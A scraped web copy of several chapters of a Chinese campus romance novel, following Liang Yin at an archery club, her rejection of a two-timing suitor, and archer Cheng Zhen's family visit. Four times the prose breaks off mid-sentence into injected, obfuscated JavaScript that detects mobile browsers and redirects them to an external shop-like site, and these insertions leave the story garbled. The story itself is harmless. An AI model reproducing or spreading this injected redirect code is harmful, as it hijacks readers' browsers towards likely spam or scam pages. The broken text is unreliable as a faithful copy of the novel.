周静雨刚才只是在宿舍一楼大厅等她，没听见他们具体在说什么，听梁因说了之后才道：“那他要是知道你退了社团，之后会不会再来找你啊？” “不知道。”梁因耸了耸肩，拆了颗薄荷糖送进嘴里，“我又没跟他在一起，按理他应该不至于再缠着我吧？” “说不定呢。”丁玥摇了摇头，“他本来就有女朋友，按理一开始就不该来接近你。” “真烦。”赵新艺抱着胳膊皱眉，“我们因因怎么碰上了这种人。” “好像也不全是。”周静雨眨了眨眼睛。 “嗯？” “我们俩不是去弓箭协会吗。”周静雨看向梁因，“你认识的那个——” “哪个？她背着我们去外面认识帅哥了？” 赵新艺反应夸张，梁因笑了：“就是一面之缘，我家教的那个学生有个弟弟，那个男生他弟弟应该是来找他玩儿，他接弟弟回去的时候顺便送了我一段——就这样，我只是知道他叫什么而已，不算认识。” “所以是帅哥吗？”丁玥看看梁因，又看看当时在场的周静雨。 后者点了点头，想了想给出了一个评价：“是，能秒了陆子恒的那种。” “那不是都在同一个社团了吗，就去认识一下啊。”赵新艺笑着碰了碰梁因的手臂，“帅哥诶，不亏。” 帅哥是帅哥，但—— 梁因脑海里浮现出两次见到程臻的场景，他一共就没开口说几句话，两次都穿的是酷酷的黑T，夏季炎热，唯独他身边看起来好像比周围低两度。 估计难，梁因心道。 - 第二天是周三，宜江大学的社团活动一般都安排在周三下午，因此这个时间段便不会安排课程。 310寝室上午都没课，懒觉睡到了将近中午才陆续起床点外卖，准备去参加社团活动。 梁因体育成绩一般，她倒不是完全讨厌运动，只是不喜欢大热天还要暴晒流汗，于是场馆在有空调的室内的弓箭协会对她来说其实是个不错的选择。 “一年多了，我还是第一次到这儿来。”梁因挽着周静雨的手臂准时来到了场馆，一进门便看见里面的箭道和另一边摆放着大大小小各式各样的弓，“哇，好气派。” 有不少人来得比她们早，女生居多，三三两两聚集在一块儿说话，而另一边只有五六个人正在箭道上练习。 沈铭川瞧见她们进来，笑着招了招手。 人不少，周静雨给自己和梁因勾了签到表之后，便只是跟沈铭川简单打了个招呼，便安安静静地在一旁等着。 片刻后又来了几个同学，表上的名字被勾得差不多了，程臻从另一个方向走了过来，依旧是一件黑T，一只手里拿着一把弓，另一只手拎着箭筒。 “护具你拿齐了？”他扬声问沈铭川。 “都拿了。”沈铭川应了一声，看了看他空空如也的身侧，“林砚呢？” “洗手间，一会儿就来。”程臻把手上的弓摆在了弓架上，不多久另一个男生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283383|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便小跑着过来，挥了挥手打招呼：“来了来了，不好意思有点儿迟到。” 沈铭川笑着点了点头：“行，那我们就准备开始。” 第一次活动主要以介绍为主，沈铭川首先简单跟大家介绍了一下弓箭协会的历史和成绩，随即又带着大家逛了一圈场地，除了琳琅满目的设备之外，墙上还有不少成员参加比赛和平时练习时拍下的照片。 帅哥总是惹人注目，梁因一眼便看见一张程臻的拉弓特写，他穿了件白色T恤，拉弓的右手戴着护指，用力凸起的青筋和肌肉线条自手背延伸到小臂，旁边则是精致的五官和平静直视前方的眼神。 梁因瞥了一眼走在队伍最后的程臻，参观的时候一直都是沈铭川在给大家介绍，他全程没开口，这些内容相比他都了解清楚，却丝毫没有不耐烦的样子。 程臻似乎是察觉到了什么，懒懒散散的目光看了过来，刚好撞上了梁因的眼神，微微一挑眉，抱着胳膊往一侧偏了偏头。 ……不好。 偷瞄被抓包，梁因迅速转回了头，见似乎没有人注意到她这里才松了口气。 “怎么了？”周静雨扭头看她。 梁因摆了摆手：“没事没事。” 沈铭川到了注意她们在说话，笑着问道：“你们有什么问题吗？” “哦，没有。”周静雨连忙摇摇头。 “没事儿，要是有什么问题直接提出来就好了。”沈铭川笑了，“好，那咱们社团的介绍和参观呢就到这里，一会儿我们就去箭道那边继续。” 接下来的讲解是面对从来没接触过射箭的新手，于是沈铭川便让林砚带着有基础的新成员去其他箭道上手练习，而他和程臻则留下做详细的讲解。 沈铭川介绍完了众人面前的十米箭道，一旁一直没吭声的程臻走了两步，把弓拿了起来递给他，让他继续讲解弓的构造。 有女生举起了手，问能不能看他们展示一下。 “当然可以啊，不过要稍等一下，一会儿就让这位大帅哥给大家露一手。”沈铭川笑了，“咱们射箭还是要注意自身的安全的，所以呢平时都要穿戴好护具。” 他一边讲，程臻便在一旁跟模特似的一件一件穿戴，梁因一边看着一边忽然明白过来什么，这种示范性的工作，的确找个帅哥来做更加赏心悦目。 当然也有缺点，看着看着就容易……走神。 “大家现在看一下就好，包括一会儿的动作，之后我们也会再教大家，定期也会有专业的教练过来的。”沈铭川勾了勾唇角，“今天大家看到的人少，他们刚好去达级赛了。” 有人提问：“那你们怎么没去呀？” “我们怎么没去？那当然是因为我们达到等级了呀。”沈铭川笑了，“这些比赛大家之后也都是可以报名参加的。” 随即便是大家所期待的展示环节，程臻在沈铭川还在说话的时候简单热了个身，随即接过弓侧身站在起射线上，肩膀对着目标靶。 搭箭、举弓，拉弓，瞄准—— 亲眼所见到底还是比静态的照片冲击力更大一些，程臻一松手，箭矢划破空气扎进箭靶，落在了最中心代表着十环的黄色圈内。 5. Chapter 05 围观人群发出一阵低低的惊呼，而命中了十环的程臻本人倒没多大反应，只是抬头看了一眼，随即又垂眸装上了第二支箭。 程臻一连着射了六支箭，全都稳稳当当地正中靶子最中心十环的区域。 “刚好六支，半组，差不多先这样吧。”程臻转过身扫了一眼人群，最后转向了沈铭川，“剩下的社长来？” “我来？”沈铭川一挑眉，有人也出声附和，他于是便笑着点点头，戴上了护具，从程臻手里接过了弓。 沈铭川站上了程臻旁边的箭道，箭筒里还剩六支箭，同样尽数正中靶心。 “社长，之后社团活动的时候，你都会一直在，然后指导我们吗？”一个女生举起手提问。 “我大部分时间都会在。”沈铭川点点头，“每次活动都会有负责人登记和管理器材，大家放心，会有很资深的学长学姐指导大家的。” “我们其实不要求大家每周都来，还是根据自身情况和兴趣为主，不过专业教练来的时候还是建议大家都来一下，另外如果有比赛，之前也会有些集中的训练，到时候会提前在群里通知的。” “好，谢谢。”提问的女生点了点头，又转向程臻，“那学长呢？” “我不一定。”程臻摇摇头，“不过我肯定比不上社长来得勤。” 沈铭川莞尔：“好了，大家还有没有什么其他问题？” 一片安静里，梁因举起了手。 “我想问的是，刚才在器材区那边也有看到传统弓，一共也没有多少把，我看好像大家也都用的是反曲，用传统弓的是很少吗？” “其实弓种还有很多，我们也很欢迎高玩同学带自己的弓来，不过我们社团常备的确实大部分都是反曲，大家慢慢上手熟练之后，之后用竞技反曲去参加比赛也比较多。”至于传统弓——”沈铭川顿了顿，笑着看向程臻，“你来介绍？” 程臻点了点头，目光随即落到了梁因身上：“对传统弓感兴趣？” 那倒也不算——梁因眨了眨眼睛：“我看到那里有一把传统弓特别好看，跟别的都不一样。” “你说的那把应该就是他的。”沈铭川笑了，转头看了一眼程臻，“说起传统弓，他应该是咱们这儿最有发言权的人之一了。” 梁因又把目光转向程臻。 “稍等。”程臻说完便往器材区走，把他自己的那把传统弓拿了过来，看向梁因，“你刚才说的是这把吗？” 梁音点了点头。 弓身是深色的，整体的线条流畅简洁，弓片上则是金色的浮雕花纹，还绑着黑金交织的护弓绳，缀着渐变色流苏。 程臻轻轻勾了勾唇角，把弓展示给大家看：“传统弓没有那么多配件，没有瞄准器没有搭箭台，所以瞄准会比较难，如果是新手的话，很可能一开始都上不了靶。” “不过相应的，也有好处。” 随即程臻便转身站上箭道，从箭筒里抽出了一支箭，把箭尾卡上弓弦，然后拉弓，放手。 十环。 “传统弓的灵活性更强，也更自由。”程臻抬眼看了看靶子，随即转回目光，“大家要是感兴趣的话，之后也可以尝试一下。” 这个小插曲结束之后，沈铭川带着大家做了简单的热身，随即便到了亲自上手练习的环节。 虽然被指导过动作，但实际上手还是和口头上说的不一样，周静雨站在梁因旁边的箭道，第一箭堪堪上靶，扎在了蓝色的外圈。 “啊，好难。”周静雨叹了口气，看梁因，“你试试。” “行。”梁因点点头，取了一支箭卡上弓弦，然后深呼吸一下，试图把脑海里的动作要点呈现在动作上，转头看向靶子，缓缓拉开弓。 梁因试图尽可能地瞄准靶心，许久才松手，只见她这支箭和周静雨的半斤八两，卡在红蓝圈的交界处。 “不要瞄这么久。” 身后忽然响起一个声音，正准备跟周静雨说话的梁因被打了岔，于是把话咽了回去，转过头，见程臻抱着胳膊在两步外站着。 “可是不瞄久一点我觉得射不准。”梁因道。 程臻一挑眉，转头看了一眼她的靶子，随即慢悠悠地收回视线：“可是你瞄了这么久，也不是很准啊。” 梁因被噎了一下，反驳道：“……我这是第一次！” “我知道。”程臻轻轻勾了勾唇角，“就因为你是新手，举弓拉弓久了手会酸，手一酸就会抖，最后会更不准。” 程臻看着她：“再来一支试试。” “喔。”梁因缓缓吐出一口气，又取了一支箭。 “左手放平别太高，弓弦再拉开一点——好，放。” 这一回的成绩比刚才有所进步，箭的落点踏进了中间的红色区域。 “哇。”一直在旁围观的周静雨感叹了一声。 程臻看了一眼，收回目光冲梁因点了点头：“继续。” 短暂地指导过梁因之后，程臻便去了别的箭道，而梁因又射了几支箭，只有一支射中了最中心的圆环，其他大部分都徘徊在红色和黄色的区域。 手有点儿酸了，梁因便看向旁边的周静雨，刚好沈铭川在旁边纠正她的动作，梁因凑过去一步假装认真听讲，注意力则都放在他们两个身上。 梁因这是第二次见沈铭川，对他的印象不错，觉得他脾气好人也耐心，指导周静雨动作的时候也很绅士地不会直接上手，于是在心里默默给他打了个中上的分数。 只是他似乎对谁都是好声好气的温柔，到目前为止，看不出他对周静雨是不是有什么…… 梁因的思绪被周静雨正中靶心的这一箭打断，她自己显然也没想到，愣了愣，梁因在旁边笑眯眯地鼓掌：“哇！好厉害！” “对，很好，就尽量一直保持这样的状态和手感。”沈铭川也笑起来，“不过不要勉强，要是累了就休息一会儿。” “嗯，好。” 目送沈铭川走来，梁因清了清嗓子，凑过去跟周静雨咬耳朵：“哎呀，有人脸红了哦。” “真的啊？”周静雨紧张地抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283384|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，用手背摸了摸脸颊，“很明显吗？” “还好，一点点。”梁因笑眯眯地看她松了一口气，“要去歇会儿吗？” “好。” 两人在一旁的椅子上坐了一会儿，箭道上不少其他同学也射完了一组箭也来休息，沈铭川和程臻统一去靶子那一边拔了箭，回来放进了箭筒。 对刚上手的梁因和周静雨来说，一组十二支箭便已经足够了，拆了护具又休息了一会儿，两人坐在椅子上，见也有其他同学先走了。 “想回去吗？”梁因转头问周静雨。 “嗯……”周静雨犹豫了一下，没有立刻回答，而是看向了沈铭川的方向，他正在和别人说话，没注意到她们这边。 “哎呀，好累呀，我们再坐一会儿好了。”梁因颇为夸张地叹了口气，笑着眨了眨眼睛，“我忽然还有点渴了呢，那边刚好有自动贩卖机，我去买瓶饮料，你要不要喝点什么呀？” 周静雨有些不好意思地笑起来，点了点头：“好啊，跟你一样就行。” 梁因于是起身往自动贩卖机走，远远便看见程臻站在机器前，先扫了码开门。 于是她便站在他身后一两步的距离，扫了一眼自动贩卖机里面——她想买的无糖乌龙茶刚好还剩两瓶。 然后梁因便看着程臻拿了一瓶可乐，又拿了一瓶电解质水，最后又伸手拿出了一瓶无糖乌龙茶。 梁因没想到程臻一下子拿这么多，还刚好拿了一瓶她想买的，张了张嘴却又意识到自己不好干涉别人的选择，于是便没说话，默默搜寻起了别的目标。 程臻注意到了身后的动静，转头对上了梁因的目光，又垂眼看了看自己手里拿着的乌龙茶。 “你要这个？里面还有一瓶。” 梁因冲他笑了笑，摆摆手：“哦没事儿，你拿好了，我买两瓶别的就行。” “给你室友带？”程臻明白过来，顺势便把手里的那一瓶递给了她，“给。” 梁因一愣：“不用，我自己——” 程臻把里面另一瓶乌龙茶也拿了出来给梁因，又拿了瓶矿泉水，随即关上了自动贩卖机的门。 “没事儿。”程臻说道，“这台机器不太好扫，反应有点儿慢，我开了就一块儿拿出来了。” “那谢谢你啊。”梁因把两瓶乌龙茶拿在一只手里，划开手机锁屏，“我加你个微信，把钱转给你吧。” 程臻摇摇头：“不用，两瓶水而已。” 梁因却挪了一步，伸手挡住了程臻：“要的。” 程臻垂眼，眼前比他矮一头的小姑娘十分坚持，他便轻勾了勾唇应下：“行，那我扫你。” 梁因点点头，给程臻展示自己的微信二维码。 滴。 程臻用手臂夹着几瓶饮料，垂眼看着手机屏幕。 梁因的头像是正在咧嘴笑的海绵宝宝，傻乎乎的，也挺可爱，而她的昵称—— 程臻微微挑眉，唇角带了几分笑意，一字一顿地念了出来：“AAA，点，杨枝甘露代喝小梁？” 6. Chapter 06 空气凝固了一瞬。 梁因这个微信昵称改了有一阵子了，那时候学校里新开了家奶茶店，梁因头一回喝他家的杨枝甘露便觉得惊为天人，遂连喝了一个多星期，在室友的调侃下改了这个微信昵称。 ……然后就忘了改回去了。 “啊，对。”梁因笑起来，“就是二食堂那家奶茶店的杨枝甘露，特别好喝，推荐。” “好。”程臻点点头，“加了。” 梁因点开微信联系人右上角的红色圆圈，通过了他的好友申请：“我一会儿就把钱转你。” 拿着两瓶乌龙茶回到周静雨坐着的地方，梁因递给她一瓶，把钱给程臻转了过去，抬眼看又去箭道上指导动作的沈铭川，一偏头靠在了周静雨肩上。 “我们社长好敬业哦。” 周静雨喝了一口水，半晌道：“要不我们走吧，就不跟他打招呼了。” “没事儿啊，等一会儿就等一会儿呗，这儿有空调，又不热。”梁因靠在她肩上看手机，“对了，刚好穿了运动鞋出来，我想一会儿回去之前跑个校园跑，你要一起吗？” “……啊。”周静雨的肩膀塌了塌，“你好努力。” 一提起校园跑，两人都长长叹了口气。 京川大学对学生校园跑的要求是每学期女生80公里，男生100公里，没有达标体育就算挂科，需要重修。 校园跑的次数和距离由专门的软件来计算，每次是2公里，随机生成的路线中包含3个学校内的位置，需要全部完成打卡，同时满足一定的配速要求，才算成功计数。 “好吧，那我跟你一起。” 于是两人举着手机打开app，刷新了好几次都得不出靠近的三个打卡点，于是只好退而求其次，各自选定了前两个点能勉强重合的路线。 “那就这样吧？” “嗯，行。” 周静雨把打开着跑步app界面的手机放在了一旁，弯下腰去系鞋带，再一抬头便看到沈铭川走了过来，手里拿着瓶电解质水，目光落在一旁她的手机上。 “打算去跑步？” “啊，对。”周静雨点头，笑了笑。 “今天这么体验下来，感觉怎么样？” “感觉……还挺好的。”周静雨笑了，跟一旁的梁因对视了一眼，“因为之前完全没有体验过这个项目，觉得还挺有意思的。” 周静雨和沈铭川聊了几句，便打了招呼跟梁因一起离开，往场馆外走的时候，刚好看到程臻靠在墙边打电话。 他像是正在听电话那头的人说话，目光漫无目的地看过来，刚好对上梁因的视线。 她正犹豫着要不要打个招呼，程臻先冲她们点了点头，随即很自然地收回了目光。 “他好酷啊。”周静雨评价道。 “谁说不是呢。”梁因点点头，垂眼看了看app查看路线，随即问问周静雨，“对了小雨，你想吃雪糕吗？刚才那个自动贩卖机里没有。” “好呀，那一会儿我们教育超市集合，一起买。” 完成了今天的两公里打卡，梁因和周静雨去教育超市买了雪糕吃，又给寝室的另两位带了她们想要的酸奶和水果回去。 梁因今天没有去参加影协的活动，她猜到陆子恒知道之后肯定会来找她，果不其然，梁因收到了陆子恒从支付宝里发来的消息，问她怎么没有来，又说之前的事情他可以解释。 梁因当然不会回复，反手把他的支付宝账号也拉黑了，顺便又检查了一遍其他地方还有没有漏网之鱼。 却没想到陆子恒在这方面竟然有着莫名其妙的毅力，第二天丁玥上课回来，从楼下宿管阿姨那里带回来了一盆他买给梁因的……多肉。 “我在小黑板上看到你名字，就以为你有什么快递放楼下了，就想着帮你拿上来。”丁玥笑着把小多肉放到了梁因桌上，抬头对上她从床帘探出来的脑袋，“哦对了，还有小卡片呢。” “啊——”梁因长长叹了一口气，郁闷地倒回了床上，“他到底有完没完啊——” 丁玥笑着补充：“想不到吧，甚至都不是花，是盆多肉。” “多肉？”赵新艺凑过来看了一眼，没忍住笑出了声，“不是，也不是说就非要送花才行，可他现在是在认错求和诶，就送这么一盆小多肉？” 梁因原本还郁闷着，被她俩的话给逗笑了，又盘腿坐了起来，扒着床沿眨眨眼睛看丁玥：“玥玥，好人做到底，麻烦你帮我处理了吧，爱你。” 丁玥开她玩笑：“不留着做个纪念？” “我谢谢你啊。” “不过多肉还是挺无辜的。”丁玥想了想，“要不放水房去好了，还能当个装饰。” 梁因点点头：“好，都行。” “不过说起来，我倒确实有点儿好奇。”赵新艺问道，“因因，陆子恒他除了长相尚可——顶多也就算尚可吧——其他你看上他哪儿了？” “我没有看上他啊。”梁因扶额，笑得有点儿无奈，“就是觉得他整体还行吧，平时也就是聊聊天，想着可以接触一下，谁想得到今天呢。” “但是下午你不是还有公选课吗。”周静雨拆了一包薯片分给大家，又走过来给还坐在床上的梁因投喂了一片，“你想要我们陪你去吗？” “我跟你一块儿去呗。”赵新艺说道，“上次我没骂着他，不爽。” “不用。”梁因笑眯眯地摇头，“他好像周四这节公选课之后接着有专业课，就一个大课间，应该是没什么功夫来缠着我的。” 为了防止陆子恒守株待兔，梁因特地卡点到教室，踩着上课铃声在老师眼皮子底下走进教室，也同样，在陆子恒的注视下，坐在了他前两排的位置，眼不见为净。 下课时，已经趁着老师讲结束语时收拾好东西的梁因还是慢了一步，在出教室门时，被陆子恒拦住。 “因因，你等我一下。” 周围是来往的同学，梁因深吸了一口气，对上他的视线：“不好意思啊，我们好像没有这么熟，你找我有事吗？” “你昨天怎么没来社团活动啊？我给你发消息你也没回。”陆子恒说道，“你是不是还在生我的气？” 梁因皱了皱眉，没吭声，往后退了一步。 “我知道骗了你是我不对，但我可以解释。”陆子恒说道，“那个女生是我高中同学，她不在我们学校的——” “高中？所以她就是你女朋友。”梁因打断了他的话，“所以你早就有女朋友。” “这很重要吗？”陆子恒没有证明回应这个问题，摆出一副无比诚恳的样子，“这次她忽然来找我我也不知道，不过你放心，我已经跟她分手了，之后也不会再有联系了，因因你相信我，我是想要好好跟你在一起的。” 梁因眉头皱得更紧：“我从来都没有答应跟你在一起啊。” “我知道。”陆子恒笑了，“我的意思是，你别因为这个事儿再生气了，我都跟你解释清楚了，你就把我从黑名单里放出来好不好？” “我觉得你可能误会了，我没有在生气。”梁因说道，“我想了一下，我觉得我们还是做普通的同学比较好，没必要有太多联系了。” 陆子恒似乎后知后觉地意识到梁因是认真的，随即收了笑意：“你什么意思啊？” “就是字面意思。”梁因垂眼看了看手机，“现在距离下节课上课还有不到五分钟了哦，如果不想迟到的话，我建议你不要继续站在这里了。” “因——” “我姓梁，谢谢。”梁因打断了陆子恒的话，冲他摆了一下手，转身头也不回地走了。 - “听起来好爽啊，早知道我跟你一块儿去了，看看他什么表情。”赵新艺评价道。 “我不知道，我没回头看，全程都是这个表情。”梁因摇摇头，做出一副冷漠无情的表情展示给三人看。 丁玥忍不住笑了，伸手去捏她的脸，又轻轻挠了挠梁因的下巴：“好可爱啊因因！” 梁因也笑了，偏了偏头把脸颊贴在她手心：“我现在最大的愿望，就是他能立刻拥有放弃这个优良品德。” 而陆子恒确实也没有再通过其他方式联系过梁因，当然也可能是因为，他能找到她的所有平台的账号都已经被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283385|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拉黑了。 周末，梁因按照老时间来到云朝湾给何诗瑶上课，路过何嘉瑞的房间时，门开着，今天他的玩伴不在，小男孩一个人坐在里面的儿童学习桌上写作业。 “弟弟昨天暑假作业没有写完。”何诗瑶小声告诉梁因，“妈妈不让他出去玩。” 梁因点了点头，跟何诗瑶进了房间，女孩献宝似的把原本用笔夹着的习题册翻开，往梁因面前递：“姐姐你看，我做了一套练习，只错了三道题！” “这么厉害呀！”梁因眨眨眼睛，“那我上次教你的方法用上了吗？” 何诗瑶忙不迭点头：“用上了！超有用！” “那就好。”梁因笑了，“来，我看看你做的题。” 除了解题技巧之外，梁因也会给何诗瑶讲一些平时学习复习和错题整理的方法，再加上适当的练习，小姑娘很认真，成绩也有着可观的进步。 “今天还有一点儿时间，我们就写篇小作文吧。”梁因翻了翻习题册，“就这个好了，十五分钟时间，记得把平时积累的词汇和句型尽量用上哦。” 何诗瑶写得很认真，不过大概是旁边大大的倒计时给了她压力，时间快要归零时她有些着急：“我还差一点点，姐姐再给我两分钟时间可以吗？” “好。”梁因点点头，“那就再等你两分钟——只有两分钟哦。” - 驾驶座上的程臻第不知道多少次抬手看表，另一只手搭在方向盘上，手指一下一下轻点，眉头轻轻皱着。 隔着车窗玻璃往院子里看了一眼，程臻决定再等程钧两分钟，要是他再不出来，就亲自进去抓他。 “哥哥哥哥我来啦！” 程臻的手已经放在了门把上，院子里跑出来一道身影，轻车熟路地拉开了他后排的车门。 “慢点跑！”钟娴跟在后面叮嘱，“到时候听爷爷奶奶话，知道没有？” “放心吧妈，我看着他。” 程钧已经在车子后排乖乖坐好，抬头朝钟娴嘿嘿笑了两声。 “好。”钟娴点点头，笑着揉了一把程钧的头发，然后才抬眼看向程臻，“开慢点儿啊，注意安全。” “嗯，好。” 车子缓缓开上大路，程钧把他的奥特曼书包抱在怀里，好奇心旺盛地左看右看，看看窗外看看前面，又看看专心开车的哥哥。 虽然程钧还算乖，但程臻还是分了些注意力在他身上，是不是看看车内的后视镜，便察觉到了小孩儿有话要说——但程臻装没发现，耐心十足地等着他忍不住开口。 五分钟。 十分钟。 “哥哥。”程钧终于忍不住了，眼巴巴地看着程臻。 “怎么了？”前面刚好是个红灯，程臻转过头去看他。 程钧盯着他看：“你渴吗？” “我不渴。” “那——爷爷奶奶会渴吗？” 程臻有点儿想笑，抬眼看了看红绿灯的倒计时，又收回目光对上程钧期待的眼神：“想喝奶茶了？” 程钧抿唇，用力点了两下头。 程臻一挑眉：“刚刚在家不说，一出门就想喝了？” “哥哥——”程钧拖长了尾音喊他，“妈妈肯定不会让我喝的，求你了哥哥——” “自己点。”程臻从口袋里摸出手机解锁后递给他，“今天喝了奶茶明天就不准喝了，回去多做三十道四则运算。” 程钧像只耳朵耷拉下来的小狗：“啊……” 红绿灯的倒计时还剩不到二十秒，程臻说道：“再给你十秒考虑，要不要喝？” 程钧一咬牙还是点点头，觉得为了饮料多做三十道题也很划算，于是低头，点开了程臻手机上的外卖软件。 “记得地址选爷爷奶奶家。”程臻叮嘱道。 “点好了！” 他动作倒是快，程臻应了一声，车子开到下一个红灯停下时才接过手机，支付前看了一眼程钧点了什么。 杨枝甘露，大杯，正常冰标准糖。 脑海里忽然闪过某个AAA开头的微信昵称，程臻勾起唇角，眼底闪过一丝笑意。 7. Chapter 07 程钧扒着副驾驶的椅背，圆溜溜的眼睛盯着程臻看：“哥哥你笑什么啊？” “没事。”程臻摇了摇头，再次跟他确认，“大杯杨枝甘露正常冰正常糖，我下单了。” “好耶！哥哥万岁！” 程臻瞥了一眼后排举起手臂欢呼的程钧，开口时声音里带了点笑：“行了，快点坐好。” 程臻小时候父母工作忙，他是爷爷奶奶带大的，长大之后被父母接到身边，他也经常抽空来看两位老人，且不说路怎么走，就连小区周边的环境有哪些变化，程臻也都一清二楚。 老人家腿脚不太方便，于是房子买在一楼，一梯两户的房型，把一楼的两间打通做了个大平层，阳台上弄了个小菜园，供高淑珍平时种点儿小葱青菜之类的。 “记得一会儿叫人。”程臻敲了敲门，随即又嘱咐程钧。 “哦。” 门很快开了，高淑珍笑眯眯地看着一大一小两个孙子，招呼他们进来：“来了啊？快进屋快进屋，外面热坏了吧？” 她一眼便看见程臻手里提着的东西，眉头一皱：“又拿这么多东西来干什么？” “没多少东西。”程臻把手里的东西放到了一旁的地上，“上次我看爷爷的茶叶快喝完了，我就又买了一点儿，还有给您的按摩仪，腰疼的时候按按。” “你这孩子，次次都大包小包的来，没事儿的时候多来看看爷爷奶奶就够了——”高淑珍看他，“花不少钱吧？” “没有，不多。”程臻摇摇头，垂眼递了个眼神给程钧。 “奶奶好。”程钧乖乖叫人。 高淑珍笑着摸摸程钧的脑袋：“诶，我们小钧又长高了是不是？” “是！我已经是我们班第三高了！”程钧喜滋滋地开口。 换完拖鞋的程臻四下看了看，没见着程明彰，于是问道：“奶奶，爷爷呢？” “你爷爷在书房写字呢。” “好，我去看看他。” 往书房的方向走去，门开着，程臻一眼便看见程明彰站在桌前，举着毛笔专心致志地写字。 抬手轻轻敲了敲门，程明彰抬眼看到他便笑了，招呼他过来：“小臻啊，来得正好，快来写两个字我看看。” 程臻依言过去，程明彰往旁边让开了些，看着他拿起笔沾了点墨，在宣纸上写下几个字。 “臭小子，是不是好久没练了？”程明彰眼光毒，一眼看出来程臻疏于练习，随即却又话锋一转，“是不是学校里学习很忙啊？” “还好。”程臻答道，刚想再说什么，高淑珍的身影出现在了门口。 “小臻啊，奶奶做了你爱喝的绿豆汤，冰过的，要不要出来喝一点？” 程明彰乐呵呵道：“快去吧，你奶奶早上就开始准备了。” 来到客厅时，程钧已经捧着一个小碗喝起来了，高淑珍拉着程臻在沙发上坐下，递给他一个碗。 “谢谢奶奶。”程臻尝了一勺，绿豆的香气浓郁，还带了点桂花香气，入口绵密清甜，恰到好处。 程钧捧着碗转向高淑珍：“奶奶，绿豆汤不够甜。” “不甜啊？”高淑珍起身，“你哥哥不爱吃太甜的，奶奶去给你加点糖啊。” “谢谢奶奶！” 程臻小时候就爱喝绿豆汤，夏天高淑珍常常给他做，他不爱吃爱甜的，高淑珍便一直按照他喜欢的口味来做。 不仅是绿豆汤，虽然程臻不算挑食，但高淑珍总变着法儿做他爱吃的菜，每回看他把碗吃得干干净净的便高兴，平时也总做各种点心，生怕他长身体的时候饿着。 以至于后来被父母接回去待在身边，专门请的阿姨做的饭也很好吃，但程臻总觉得就是差一点儿。 “好吃吗？”程臻转头看捧着加了糖的绿豆汤的程钧。 “好吃！”程钧大力点头，“比阿姨做的好吃！” “好吃就多吃点儿，你哥哥从小就爱吃这个。”高淑珍笑眯眯的，“下次奶奶再给你做。” 吃完绿豆汤，程臻很自然地收起碗和勺子去了厨房，轻车熟路地拿下洗碗巾，拧开水龙头冲洗。 高淑珍过了一会儿才跟过来，进来的时候还关上了厨房的门，程臻有些不解地转头：“奶奶？” 高淑珍没坑声，从口袋里摸出一个红包，塞进了程臻的口袋里。 程臻手上都是水，不方便拒绝，只好往旁边让了让，高淑珍却不由分说地往前进了一步，把红包严严实实地塞进程臻口袋里。 “奶奶，不用，我有钱的。” “拿着。”高淑珍的语气难得地强硬了些，“你一个人在外面读书，要好好照顾自己，现在的年轻人老是熬夜，饭也不好好吃，奶奶看你都瘦了。” 程臻用手背关掉了水龙头，转头看着高淑珍：“奶奶——” 高淑珍今年六十多岁，头上隐约能看见几根白发，但整体上保养得很好，看起来还是很年轻，对他总是一副和蔼可亲笑眯眯的模样。 虽然她和程明彰都有智能手机，但每年给他和程钧的压岁钱，还有他隔三差五周末来看他们时，高淑珍都会把现金装在红包里，沉甸甸的，看得见摸得着。 “收好，不收奶奶可要不高兴的啊。”高淑珍拍了拍程臻的口袋，“这是你爷爷奶奶的心意。” 心意。 最珍贵的东西就是心意，远远比红包里装着的金额更多。 “好。”程臻垂下眼轻轻勾起唇角，点了点头，“谢谢奶奶。” - 周末的时间对梁因来说无比自由，除了去给何诗瑶上课之外，其他时间都待在寝室。 唯一周末要回家的是周静雨，她是本地人，每周五上午上完课，她吃过饭下午边收拾东西回家了，周日晚上才回来。 大部分周末寝室里都只有梁因和丁玥，赵新艺作为310的社交女王，周末经常要去参加这个那个的局——比如今晚的饭局是主持人队组织的，和大一新入队的小朋友们一块儿，刚好跟周日回校的周静雨前后脚到达寝室。 大美女一进寝室就甩掉了高跟鞋，把包丢掉一边，拉开椅子坐下开始卸妆，身后周静雨收拾东西的动静则是整个寝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 